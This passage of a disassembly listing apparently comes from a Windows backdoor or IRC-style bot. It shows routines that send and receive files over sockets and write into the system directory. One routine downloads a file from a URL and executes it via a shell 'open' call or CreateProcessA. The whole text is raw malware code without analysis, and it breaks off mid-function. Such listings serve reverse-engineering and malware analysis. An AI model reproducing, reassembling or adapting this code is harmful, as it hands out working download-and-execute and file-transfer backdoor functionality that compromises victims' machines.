		mov	eax, 11B4h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_416771
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41688A
		lea	eax, [ebp+Dst]
		push	offset asc_44F678 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_41686D
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409D6C
		add	esp, 14h

loc_41686D:				; CODE XREF: sub_4167F7+59j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_41688A:				; CODE XREF: sub_4167F7+3Fj
		push	offset dword_4EBEF8
		push	ebx
		call	sub_41AB7D
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4168F5
		lea	eax, [ebp+Dst]
		push	offset asc_44F69C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_4168D1
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409D6C
		add	esp, 14h

loc_4168D1:				; CODE XREF: sub_4167F7+BDj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		pop	ecx
		push	ebx
		call	dword_4E42B8	; closesocket
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_4168F5:				; CODE XREF: sub_4167F7+A3j
		push	64h
		call	ds:dword_4F6380	; Sleep
		xor	edi, edi
		mov	esi, 1000h

loc_416904:				; CODE XREF: sub_4167F7+168j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4E4238	; recv
		test	eax, eax
		jle	short loc_416961
		lea	eax, [ebp+Dst]
		push	offset asc_44F6CC ; "\n"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_41A969
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416961
		push	64h
		call	ds:dword_4F6380	; Sleep
		push	0Ah
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jnz	short loc_416904

loc_416961:				; CODE XREF: sub_4167F7+130j
					; sub_4167F7+154j
		lea	eax, [ebp+Dst]
		push	offset asc_44F6D0 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_416994
		push	edi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	ebx		; int
		call	sub_409D6C
		add	esp, 14h

loc_416994:				; CODE XREF: sub_4167F7+180j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		pop	ecx
		push	ebx
		call	dword_4E42B8	; closesocket
		push	[ebp+var_10]
		call	sub_40BAAA
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread
sub_4167F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169B8	proc near		; DATA XREF: sub_401CC7+7980o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
Dest		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
Str		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dst		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4E42A0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_416A06
		push	offset unk_44F704
		jmp	loc_416BBF
; ---------------------------------------------------------------------------

loc_416A06:				; CODE XREF: sub_4169B8+42j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	esi
		call	dword_4E4220	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4E424C	; bind
		test	eax, eax
		jz	short loc_416A44
		push	offset unk_44F728
		jmp	loc_416BBF
; ---------------------------------------------------------------------------

loc_416A44:				; CODE XREF: sub_4169B8+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4E41C4	; getsockname
		push	[ebp+var_2E]
		call	dword_4E4150	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		mov	[ebp+arg_0], esi
		call	_strlen
		pop	ecx

loc_416A76:				; CODE XREF: sub_4169B8+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+Str]
		cmp	al, 20h
		jnz	short loc_416A89
		push	5Fh
		pop	eax
		jmp	short loc_416A8C
; ---------------------------------------------------------------------------

loc_416A89:				; CODE XREF: sub_4169B8+CAj
		movsx	eax, al

loc_416A8C:				; CODE XREF: sub_4169B8+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+Str]
		inc	ecx
		push	eax		; Str
		mov	[ebp+arg_0], ecx
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_416A76
		push	ebx
		push	edi
		call	dword_4E4248	; listen
		test	eax, eax
		jz	short loc_416ABF
		push	offset unk_44F74C
		jmp	loc_416BBF
; ---------------------------------------------------------------------------

loc_416ABF:				; CODE XREF: sub_4169B8+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+Str]
		push	80000000h
		push	eax
		call	ds:dword_4F63F4	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_416AE9
		push	offset unk_44F770
		jmp	loc_416BBF
; ---------------------------------------------------------------------------

loc_416AE9:				; CODE XREF: sub_4169B8+125j
		push	esi
		push	eax
		call	ds:dword_4F6410	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AFA9
		pop	ecx
		push	eax
		call	dword_4E4260	; inet_addr
		push	eax
		call	dword_4E421C	; htonl
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_44F790 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		lea	eax, [ebp+var_DC]
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409D6C
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4E4208	; select
		test	eax, eax
		jg	short loc_416B99
		push	esi		; int
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]	; int
		push	offset dword_44F7A8 ; int
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409D6C
		jmp	loc_416CBD
; ---------------------------------------------------------------------------

loc_416B99:				; CODE XREF: sub_4169B8+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4E42B4	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_416BD2
		push	offset asc_44F7C0 ; "-"

loc_416BBF:				; CODE XREF: sub_4169B8+49j
					; sub_4169B8+87j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_416CC0
; ---------------------------------------------------------------------------

loc_416BD2:				; CODE XREF: sub_4169B8+200j
		push	edi
		call	dword_4E42B8	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_416C84
		mov	edi, 400h

loc_416BE7:				; CODE XREF: sub_4169B8+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_416BF4
		mov	[ebp+var_4], eax

loc_416BF4:				; CODE XREF: sub_4169B8+237j
		push	edi		; Size
		lea	eax, [ebp+var_A04]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4F6428	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	ds:dword_4F63F0	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4E4270	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4E4238	; recv
		cmp	eax, ebx
		jl	loc_416D19
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_416D19
		sub	[ebp+arg_0], eax
		jnz	loc_416BE7
		mov	edi, [ebp+var_18]

loc_416C84:				; CODE XREF: sub_4169B8+224j
		push	[ebp+var_8]
		call	ds:dword_4F6370	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44F814 ; "-"
		push	eax		; Dest
		call	_sprintf

loc_416CBD:				; CODE XREF: sub_4169B8+1DCj
		add	esp, 14h

loc_416CC0:				; CODE XREF: sub_4169B8+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_416CE5
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_54]	; int
		push	eax		; int
		lea	eax, [ebp+var_DC]
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_416CE5:				; CODE XREF: sub_4169B8+30Bj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416CFD
		push	edi
		call	dword_4E42B8	; closesocket

loc_416CFD:				; CODE XREF: sub_4169B8+33Cj
		push	[ebp+var_1F8]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_58]
		call	sub_40BAAA
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_416D19:				; CODE XREF: sub_4169B8+2AFj
					; sub_4169B8+2BAj
		push	esi		; int
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]	; int
		push	offset dword_44F7E4 ; int
		push	eax		; Str
		push	[ebp+var_1FC]	; int
		call	sub_409D6C
		push	offset dword_44F7FC
		call	sub_415C77
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_58]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread
sub_4169B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D5D	proc near		; DATA XREF: sub_401CC7+789o

Dst		= byte ptr -14C4h
Dest		= byte ptr -4C4h
Filename	= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
Str		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
File		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+Filename]
		push	104h
		push	eax
		call	ds:dword_4F637C	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSS_8	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Filename]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4F63F4	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416DE7
		push	offset unk_44F848
		jmp	short loc_416E2D
; ---------------------------------------------------------------------------

loc_416DE7:				; CODE XREF: sub_416D5D+81j
		push	eax
		call	ds:dword_4F6370	; CloseHandle
		lea	eax, [ebp+Filename]
		push	offset aAB	; "a+b"
		push	eax		; Filename
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+File], eax
		jnz	short loc_416E0F
		push	offset unk_44F87C
		jmp	short loc_416E2D
; ---------------------------------------------------------------------------

loc_416E0F:				; CODE XREF: sub_416D5D+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_416771
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_416E40
		push	offset asc_44F8A8 ; "-"

loc_416E2D:				; CODE XREF: sub_416D5D+88j
					; sub_416D5D+B0j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_416F3C
; ---------------------------------------------------------------------------

loc_416E40:				; CODE XREF: sub_416D5D+C9j
		mov	esi, 1000h

loc_416E45:				; CODE XREF: sub_416D5D+14Ej
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4238	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416F0C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_416EAD
		push	[ebp+File]	; File
		lea	eax, [ebp+Dst]
		push	edi		; Count
		push	1		; Size
		push	eax		; Str
		call	sub_421FE0
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4E421C	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		jmp	short loc_416E45
; ---------------------------------------------------------------------------

loc_416EAD:				; CODE XREF: sub_416D5D+118j
		lea	eax, [ebp+Dest]
		push	offset asc_44F8C8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_18]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1C0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+File]	; File
		call	_fclose
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4E42B8	; closesocket
		push	[ebp+var_1C]
		call	sub_40BAAA
		pop	ecx
		push	1
		call	ds:dword_4F63D4	; ExitThread

loc_416F0C:				; CODE XREF: sub_416D5D+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44F8E0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h

loc_416F3C:				; CODE XREF: sub_416D5D+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_416F61
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_18]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1C0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_416F61:				; CODE XREF: sub_416D5D+1E2j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		cmp	[ebp+File], ebx
		pop	ecx
		jz	short loc_416F7C
		push	[ebp+File]	; File
		call	_fclose
		pop	ecx

loc_416F7C:				; CODE XREF: sub_416D5D+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_416F8A
		push	[ebp+arg_0]
		call	dword_4E42B8	; closesocket

loc_416F8A:				; CODE XREF: sub_416D5D+222j
		push	[ebp+var_1C]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread
sub_416D5D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F9A	proc near		; DATA XREF: sub_401CC7+63CBo
					; sub_401CC7+6C09o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
Dst		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
Str		= byte ptr -2C8h
var_248		= byte ptr -248h
Filename	= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
Memory		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4E41D0
		call	dword_4E4124	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_417426
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	40000000h
		push	eax
		call	ds:dword_4F63F4	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_417061
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_44F90C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_417044
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_417044:				; CODE XREF: sub_416F9A+88j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		push	[ebp+var_48]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread

loc_417061:				; CODE XREF: sub_416F9A+68j
		xor	edi, edi
		call	ds:dword_4F63B0	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx		; Size
		call	_malloc
		pop	ecx
		mov	[ebp+Memory], eax

loc_41707B:				; CODE XREF: sub_416F9A+1B4j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+Dst]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4E412C	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_4170BF
		push	[ebp+arg_0]
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_41748C
		pop	ecx
		pop	ecx

loc_4170BF:				; CODE XREF: sub_416F9A+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	ds:dword_4F63E8	; WriteFile
		cmp	edi, ebx
		jnb	short loc_4170FD
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_4170E7
		mov	eax, [ebp+arg_0]

loc_4170E7:				; CODE XREF: sub_416F9A+148j
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		mov	eax, [ebp+Memory]
		add	eax, edi
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch

loc_4170FD:				; CODE XREF: sub_416F9A+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_41710A
		cmp	edi, [ebp+var_3C]
		ja	short loc_417154

loc_41710A:				; CODE XREF: sub_416F9A+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_417124
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_44F934
		jmp	short loc_417134
; ---------------------------------------------------------------------------

loc_417124:				; CODE XREF: sub_416F9A+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset asc_44F95C ; "-"

loc_417134:				; CODE XREF: sub_416F9A+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_456F28
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_41707B

loc_417154:				; CODE XREF: sub_416F9A+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_4171A9
		cmp	edi, [ebp+var_3C]
		jz	short loc_4171A9
		push	[ebp+var_3C]
		lea	eax, [ebp+Dst]
		mov	[ebp+var_14], esi
		push	edi
		push	offset asc_44F984 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		add	esp, 28h

loc_4171A9:				; CODE XREF: sub_416F9A+1C4j
					; sub_416F9A+1C9j
		call	ds:dword_4F63B0	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_4F6370	; CloseHandle
		push	[ebp+Memory]	; Memory
		call	_free
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_417233
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_417233
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_44F9B0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		add	esp, 28h

loc_417233:				; CODE XREF: sub_416F9A+241j
					; sub_416F9A+253j
		cmp	[ebp+var_14], esi
		jz	loc_417473
		cmp	[ebp+var_44], 1
		jz	loc_41732E
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_43D488
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_43D488
		fstp	[esp+590h+var_590]
		push	offset asc_44F9D8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4172AE
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4172AE:				; CODE XREF: sub_416F9A+2F2j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_417473
		push	5
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	offset aOpen_2	; "open"
		push	esi
		call	dword_4E418C
		cmp	[ebp+var_30], esi
		jnz	loc_417473
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_44FA18 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		add	esp, 24h
		jmp	loc_417473
; ---------------------------------------------------------------------------

loc_41732E:				; CODE XREF: sub_416F9A+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_43D488
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_43D488
		fstp	[esp+590h+var_590]
		push	offset asc_44FA34 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_417396
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_417396:				; CODE XREF: sub_416F9A+3DAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C77
		push	10h		; Size
		lea	eax, [ebp+var_10]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset dword_4EBF00
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	ds:dword_4F6374	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_417418
		call	dword_4E4178	; WSACleanup
		call	sub_41912E
		push	esi
		call	ds:dword_4F636C	; ExitProcess

loc_417418:				; CODE XREF: sub_416F9A+46Aj
